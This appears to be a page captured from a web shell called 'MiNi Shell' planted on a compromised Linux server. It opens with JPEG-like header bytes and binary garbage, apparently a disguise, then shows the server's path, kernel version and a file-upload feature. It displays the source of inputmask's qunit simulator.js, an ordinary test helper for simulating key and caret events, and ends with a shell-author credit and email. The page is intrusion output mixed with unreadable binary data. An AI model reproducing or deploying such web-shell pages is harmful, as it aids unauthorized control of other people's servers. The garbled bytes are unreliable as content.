JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/vendor/bower-asset/inputmask/qunit/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/vendor/bower-asset/inputmask/qunit/simulator.js

export default function ($, Inputmask) {
    $.caret = function (input, begin, end) {
        input = input.nodeName ? input : input[0];
        var inputType = input.type;
        input.type = "text";
        input.focus();
        var range;
        if (typeof begin === "number") {
            end = (typeof end == "number") ? end : begin;
            // if (!$(input).is(":visible")) {
            // 	return;
            // }

            if (input.setSelectionRange) {
                input.selectionStart = begin;
                input.selectionEnd = end;
            } else if (window.getSelection) {
                range = document.createRange();
                if (input.firstChild === undefined) {
                    var textNode = document.createTextNode("");
                    input.appendChild(textNode);
                }
                range.setStart(input.firstChild, begin < input.value.length ? begin : input.value.length);
                range.setEnd(input.firstChild, end < input.value.length ? end : input.value.length);
                range.collapse(true);
                var sel = window.getSelection();
                sel.removeAllRanges();
                sel.addRange(range);
                //input.focus();
            } else if (input.createTextRange) {
                range = input.createTextRange();
                range.collapse(true);
                range.moveEnd("character", end);
                range.moveStart("character", begin);
                range.select();

            }
            input.type = inputType;
        } else {
            if (input.setSelectionRange) {
                begin = input.selectionStart;
                end = input.selectionEnd;
            } else if (window.getSelection) {
                range = window.getSelection().getRangeAt(0);
                if (range.commonAncestorContainer.parentNode === input || range.commonAncestorContainer === input) {
                    begin = range.startOffset;
                    end = range.endOffset;
                }
            } else if (document.selection && document.selection.createRange) {
                range = document.selection.createRange();
                begin = 0 - range.duplicate().moveStart("character", -100000);
                end = begin + range.text.length;
            }
            /*eslint-disable consistent-return */
            input.type = inputType;
            return {
                "begin": begin,
                "end": end
            };
            /*eslint-enable consistent-return */
        }
    };
    $.fn = $.fn || $.prototype;
    $.fn.SendKey = function (keyCode, modifier) {
        function trigger(elem, evnt) {
            elem.focus();
            if ($ === window.jQuery) {
                $(elem).trigger(evnt);
            } else {
                if (document.createEvent) {
                    elem.dispatchEvent(evnt);
                } else {
                    elem.fireEvent("on" + evnt.eventType, evnt);
                }
            }
        }

        var sendDummyKeydown = false;
        if (Object.prototype.toString.call(keyCode) == '[object String]') {
            keyCode = keyCode.charCodeAt(0);
            sendDummyKeydown = true;
        }

        switch (keyCode) {
            case Inputmask.keyCode.LEFT:
                if (modifier == undefined) {
                    var pos = $.caret(this);
                    $.caret(this, pos.begin - 1);
                    break;
                }
            case Inputmask.keyCode.RIGHT:
                if (modifier == undefined) {
                    var pos = $.caret(this);
                    $.caret(this, pos.begin + 1);
                    break;
                }
            default:
                if (window.Inputmask && window.Inputmask.prototype.defaults.inputEventOnly === true) {
                    var input = new $.Event("input"),
                        elem = this.nodeName ? this : this[0],
                        currentValue = elem.inputmask.__valueGet ? elem.inputmask.__valueGet.call(elem) : elem.value,
                        caretPos = $.caret(elem);

                    console.log("initial " + currentValue);
                    console.log(caretPos);

                    var front = currentValue.substring(0, caretPos.begin),
                        back = currentValue.substring(caretPos.end),
                        newValue = currentValue;

                    switch (keyCode) {
                        case Inputmask.keyCode.BACKSPACE:
                            newValue = front.substr(0, front.length - (caretPos.end - caretPos.begin ) - 1) + back;
                            break;
                        case Inputmask.keyCode.DELETE :
                            back = back.substr(1);
                            newValue = front + back;
                            break;
                        default:
                            newValue = front + String.fromCharCode(keyCode) + back;
                    }

                    if (elem.inputmask.__valueSet)
                        elem.inputmask.__valueSet.call(elem, newValue);
                    else elem.value = newValue;

                    $.caret(elem, newValue.length - back.length);
                    console.log("new " + newValue);
                    trigger(this.nodeName ? this : this[0], input);
                } else {
                    var keydown = new $.Event("keydown"),
                        keypress = new $.Event("keypress"),
                        keyup = new $.Event("keyup");

                    if (!sendDummyKeydown) {
                        keydown.keyCode = keyCode;
                        if (modifier == Inputmask.keyCode.CONTROL)
                            keydown.ctrlKey = true;
                    }
                    trigger(this.nodeName ? this : this[0], keydown);
                    if (!keydown.defaultPrevented) {
                        keypress.keyCode = keyCode;
                        if (modifier == Inputmask.keyCode.CONTROL)
                            keypress.ctrlKey = true;
                        trigger(this.nodeName ? this : this[0], keypress);
                        //if (!keypress.isDefaultPrevented()) {
                        keyup.keyCode = keyCode;
                        if (modifier == Inputmask.keyCode.CONTROL)
                            keyup.ctrlKey = true;
                        trigger(this.nodeName ? this : this[0], keyup);
                        //}
                    }
                }
        }
    }
    if (!('append' in $.fn)) {
        $.fn.append = function (child) {
            var input = this.nodeName ? this : this[0];
            input.insertAdjacentHTML('beforeend', child);
        };
    }
    if (!('remove' in $.fn)) {
        $.fn.remove = function () {
            var input = this.nodeName ? this : this[0];
            if (input !== undefined && input !== null) {
                input.parentElement.removeChild(input);
                input = undefined;
            }
        };
    }
    if (!('val' in $.fn)) {
        $.fn.val = function (value) {
            var input = this.nodeName ? this : this[0];
            if (value !== undefined) {
                if (input.inputmask) {
                    input.inputmask._valueSet(value, true);
                    $(input).trigger("setvalue");
                } else input.value = value;
            }

            return input.value;
        };
    }

    $.fn.Type = function (inputStr) {
        var input = this.nodeName ? this : this[0],
            $input = $(input);
        $.each(inputStr.split(''), function (ndx, lmnt) {
            $input.SendKey(lmnt);
        });
    }

    $.fn.paste = function (inputStr) {
        var input = this.nodeName ? this : this[0],
            $input = $(input);
        if (window.clipboardData) {
            window.clipboardData.setData('Text', inputStr);
        } else {
            $.data($input, "clipboard", inputStr);
            window.clipboardData = {
                getData: function () {
                    window.clipboardData = undefined;
                    return $.data($input, "clipboard");
                }
            }
        }

        $input.trigger('paste');
    }

    $.fn.input = function (inputStr, caretBegin, caretEnd) {
        var input = this.nodeName ? this : this[0];
        input.inputmask.__valueSet.call(input, inputStr);
        if (caretBegin !== undefined)
            $.caret(input, caretBegin, caretEnd);
        $(input).trigger("input");
    }
};

Creat By MiNi SheLL
Email: jattceo@gmail.com